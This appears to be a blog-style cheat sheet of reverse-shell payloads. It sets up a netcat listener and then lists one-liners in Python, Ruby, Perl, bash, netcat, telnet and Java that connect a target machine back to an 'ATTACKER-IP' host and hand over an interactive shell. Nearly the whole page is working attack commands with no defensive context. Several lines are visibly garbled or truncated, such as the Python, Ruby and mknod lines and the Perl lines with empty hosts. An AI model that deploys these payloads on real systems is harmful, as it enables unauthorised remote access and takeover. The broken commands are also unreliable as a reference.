Reverse Shells

Step one - Setup your Listener on attacking machine.

nc -lvp <Port>


nc -lvp 4444

You can then use netcat to connect to that listener or a different reverse shell from the Target.

nc <attacker_ip> <port>

nc -l -v 4444

Here is a listener setup with NETCAT but the reverse shell is PERL.


PYTHON Reverse Shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER-IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);["/bin/sh","-i"]);'

RUBY Reverse Shell

ruby -rsocket -e'"ATTACKER-IP",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

PERL Reverse Shell

perl -e 'use socket;$i="";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PERL - Windows based Systems

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


0<&196;exec 196<>/dev/tcp/ATTACKING-IP/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/ATTACKING-IP/4444
cat <&5 | while read line; do $line 2>&5 >&5; done  

bash -i >& /dev/tcp/ATTACKING-IP/4444 0>&1


nc -e /bin/sh ATTACKING-IP 4444

/bin/sh | nc ATTACKING-IP 4444

rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p


rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 4444 0/tmp/p

telnet ATTACKING-IP 4444 | /bin/bash | telnet ATTACKING-IP 443


 r = Runtime.getRuntime()
 p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
Share Comments
comments powered by Disqus